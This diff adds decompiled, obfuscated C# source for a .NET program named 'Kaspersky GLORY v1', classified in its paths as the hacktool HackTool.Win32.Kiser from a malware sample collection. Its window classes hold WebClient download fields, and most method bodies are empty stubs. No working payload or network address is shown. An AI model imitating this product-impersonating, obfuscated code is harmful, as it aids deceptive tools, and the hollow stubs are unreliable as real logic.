+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace Kaspersky_GLORY_v1
+{
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    static MySettings()
+    {
+      \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+      // ISSUE: reference to a compiler-generated method
+      MySettings.upUyIAQ38N7EcSK5LOq();
+      // ISSUE: reference to a compiler-generated field
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      MySettings.defaultInstance = (MySettings) MySettings.ORGOq3Q8tyh8o7eldiP((object) new MySettings());
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public MySettings()
+    {
+    }
+
+    public static MySettings Default
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (MySettings) null;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void upUyIAQ38N7EcSK5LOq()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object ORGOq3Q8tyh8o7eldiP([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool V9wGZbQFY4A3oRD3Me8() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool Ii8xcdQ0icwkNjVg1mQ() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void yf9BX4QMLrXTAGRX5js([In] object obj0)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/Support.cs

@@ -0,0 +1,333 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.Support
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Input;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  [DesignerGenerated]
+  public class Support : Window, IComponentConnector
+  {
+    [AccessedThroughProperty("t1")]
+    private Label FleVY7hrK;
+    [AccessedThroughProperty("Button1")]
+    private Button \u0039tjPjswKO;
+    [AccessedThroughProperty("Button2")]
+    private Button \u0038wGy8Btdv;
+    [AccessedThroughProperty("Image1")]
+    private Image HKGk3cGu3;
+    [AccessedThroughProperty("Label1")]
+    private Label \u0034y971Mpj6;
+    [AccessedThroughProperty("GroupBox1")]
+    private GroupBox uiDSJP5K6;
+    [AccessedThroughProperty("TextBox1")]
+    private TextBox \u0037wUA3K5FS;
+    [AccessedThroughProperty("Label2")]
+    private Label StWuGHvv3;
+    [AccessedThroughProperty("GroupBox2")]
+    private GroupBox iepZybAkM;
+    [AccessedThroughProperty("Label3")]
+    private Label TJfGoS1Nc;
+    [AccessedThroughProperty("Label4")]
+    private Label JGRWDvPW7;
+    [AccessedThroughProperty("Label6")]
+    private Label \u0032dt8e7deR;
+    [AccessedThroughProperty("Label7")]
+    private Label H10jte8fr;
+    [AccessedThroughProperty("Label5")]
+    private Label SsvY5ygtY;
+    private bool \u0038xXCMRTUE;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public Support()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uWUfSQC1u([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void CvmOFuRb7([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    internal virtual Label t1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Button Button1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Button Button2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Image Image1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Image) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual GroupBox GroupBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (GroupBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual TextBox TextBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual GroupBox GroupBox2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (GroupBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label4
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label6
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label7
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Label Label5
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZkgHX9QDgU5ksbtqBIt()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void MWsMwHQZ4jNPnKF4VBC([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void BMjUs3Q2QWrBhGKwVt8([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void YnH0YFQ4oOn7XVSj2w7([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void WW34gJQNn10gUvMoLly([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool jCtahoQXCj7S77oMdhd() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool NPV9qGQYWSL8Ry6ew7a() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void LJEJcQQvpWvUN4t4Zuo([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void nikk5XQ5M5Mcncr1gEq([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void O9bBhnQqV1Yuq24MW7a([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void DECi5eQGu7EGa639E3F([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void rxSuP7Quv2FDXINmiao([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0035X1OfMQIVKrxAxDmpBQ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Kj450cQoLjru4N1fb8H([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void DlZe6aQzhC8K9XgsBss([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void H586RjWxP9xZbUbeAr3([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0039Fp8vBWs6PkO5qG2oYk([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void IYbWjnWfGn47AogdEEO([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void M0j5VJWOHuL65CQf9u0([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void l3fLCtWQ40lcBygIckK([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void HRFnNXWWodELwMPamd6([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u00343ol9xWlrToK87XQgnG([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void CA4ckrWy39x7HT9e2Jb([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037PoqQ4Wp9bHTWm7om5S([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u00355J1TrWBKCejg6vgnof([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void rFxtZAWn6XIMO9S5SgZ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static Support() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/UpdateC.cs

@@ -0,0 +1,564 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.UpdateC
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Net;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Forms;
+using System.Windows.Input;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  [DesignerGenerated]
+  public class UpdateC : Window, IComponentConnector
+  {
+    private WebClient uiDSJP5K6;
+    private WebClient \u0037wUA3K5FS;
+    [AccessedThroughProperty("Timer1")]
+    private System.Windows.Forms.Timer StWuGHvv3;
+    [AccessedThroughProperty("GroupBox1")]
+    private System.Windows.Controls.GroupBox iepZybAkM;
+    [AccessedThroughProperty("btn_upc")]
+    private System.Windows.Controls.Button TJfGoS1Nc;
+    [AccessedThroughProperty("btn_upd")]
+    private System.Windows.Controls.Button JGRWDvPW7;
+    [AccessedThroughProperty("ProgressBar2")]
+    private System.Windows.Controls.ProgressBar \u0032dt8e7deR;
+    [AccessedThroughProperty("Label2")]
+    private System.Windows.Controls.Label H10jte8fr;
+    [AccessedThroughProperty("Label4")]
+    private System.Windows.Controls.Label SsvY5ygtY;
+    [AccessedThroughProperty("Label5")]
+    private System.Windows.Controls.Label \u0038xXCMRTUE;
+    [AccessedThroughProperty("Label6")]
+    private System.Windows.Controls.Label Mnd0ODixC;
+    [AccessedThroughProperty("t1")]
+    private System.Windows.Controls.Label a6BHg7aZl;
+    [AccessedThroughProperty("Button1")]
+    private System.Windows.Controls.Button \u00305iRvC3Dw;
+    [AccessedThroughProperty("Label1")]
+    private System.Windows.Controls.Label RVCQ5y8jV;
+    [AccessedThroughProperty("ProgressBar1")]
+    private System.Windows.Controls.ProgressBar iAVvjewXZ;
+    [AccessedThroughProperty("Button2")]
+    private System.Windows.Controls.Button \u0032I7wPSnFY;
+    [AccessedThroughProperty("Label3")]
+    private System.Windows.Controls.Label lMbr5OMgD;
+    private bool R5c2hJ3KY;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public UpdateC()
+    {
+    }
+
+    internal virtual System.Windows.Forms.Timer Timer1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Forms.Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void CvmOFuRb7([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void FleVY7hrK([In] object obj0, [In] EventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0039tjPjswKO([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0038wGy8Btdv([In] object obj0, [In] DownloadProgressChangedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void HKGk3cGu3([In] object obj0, [In] AsyncCompletedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0034y971Mpj6([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    internal virtual System.Windows.Controls.GroupBox GroupBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.GroupBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button btn_upc
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button btn_upd
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.ProgressBar ProgressBar2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label4
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label5
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label6
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label t1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.ProgressBar ProgressBar1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0033K6x6FWdHbT1Q2HtYLh()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void kXnT48WjX2lix16Yma5([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void q9CFtTWH1tZPPXptZ4l([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void M9cFkMWkQgRTTvOam87([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void OnehxEWT4glqTy8DkQw([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0033jfjkBWhP5e2YrjxdNx([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool kPBqqWWARkfBXpn0IAC() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool QrjhI2Wm6oIQx6F4rgb() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void cKnP1tWEo5QHly7jMP3([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0035fFi8dW1LWjeI6EuGOk([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool ZDHPqwW9JOEyfoph7eo() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static MsgBoxResult UDofheWw8NZLmXgE6ZS(
+      [In] object obj0,
+      [In] MsgBoxStyle obj1,
+      [In] object obj2)
+    {
+      // ISSUE: reference to a compiler-generated field
+      return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void sSEFa6WChjAQLVmlaoP([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object VHTSTlW6SqduQjjE0Ce([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void C6if2YWefynEQjnxZb6([In] object obj0, [In] Visibility obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object KiUg2SWVXVZKXZC4XfT([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object vVV6JlWtLZDUHnFY0ND([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0030EuRxCWU8b5hwaELuhc([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object qWmKNnWbgyPA8xpysij() => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u00344H6pPWPaPKt6vytahU([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object O3sKmSWr0J9SMvcAl8D([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object DhIFpYWcgeWnNXgXe4i([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object iuEHu0WSN3PKVxt6EtE([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void leaqsEWLt9y7KgAyEYl([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object YtgB99WgbMYKVCrg5p7([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Nd1GLuWKPhEpJ63RPuP([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void HNx8JSWRn4tn4aTs5cV([In] object obj0, [In] int obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Lb2WWRWa8LuKufYTH08([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void wB499UWFf9qTD0Vmiwx([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void bogxYMW08URKrfeBm85([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void wIlAE8W33ESnXEtjnco([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object xbVIgtW8f6uLibPbiFl([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int \u0039s14hvWMNihJ6P2jbVs([In] object obj0, [In] object obj1, [In] bool obj2) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void lCs088WJf3c6Sx1IefV([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void rYSbJIWior7b3kVWAu3()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double Db3le0W716mySyhQq5W([In] object obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0036NZlktWXM2tWOBa8Um3([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object wo4mpFWY9SJVxw5xSc6([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object YWxXrMWDPDs8Q6p85dg([In] object obj0, [In] object obj1, [In] bool obj2) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool \u0030ZiTtDWZrqo1T8PMax2([In] object obj0, [In] object obj1, [In] bool obj2) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object cvWtdSW2q2AcRL7WDxW([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void iAQMT0W4FnWNgiGr4DQ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void wIXbs6WNaxmpjqbvP6A([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static DialogResult vT0yEZWvqAKq3NL3wWZ([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl3;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void iHdipSW5RjHP0FU8mwU([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void tqckslWqMsYnhvqEreQ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object g8RsfRWGl8vK7SEQUe6([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void pghDE0Wu6AfpGpYbmST([In] object obj0, [In] object obj1, [In] object obj2)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static long IWRntZWIyjh1lQBclce([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double QDYduaWo0cMRu1m1HR9([In] object obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static long \u0034DhBRrWzrXXFmgiC9AD([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double EgE5qrlxBNb6FMF3yeg([In] double obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int eSqswClsFpNKJYyVcNl([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double \u0033WqKP1lfO0iKrvnB6Fb([In] double obj0, [In] int obj1) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int Ebxss3lOdZ2UduHWcav([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object oTawqklQqn1BK5QmRrI([In] int obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object O27RARlWAtNS4ExJZrP([In] double obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object atV49WlljmMHJ42B9EF([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void JyQvSYlyOVqcRh26l4H([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void OR3H4NlpjwM5coZGlVZ([In] object obj0, [In] object obj1)
+    {
+    }
+
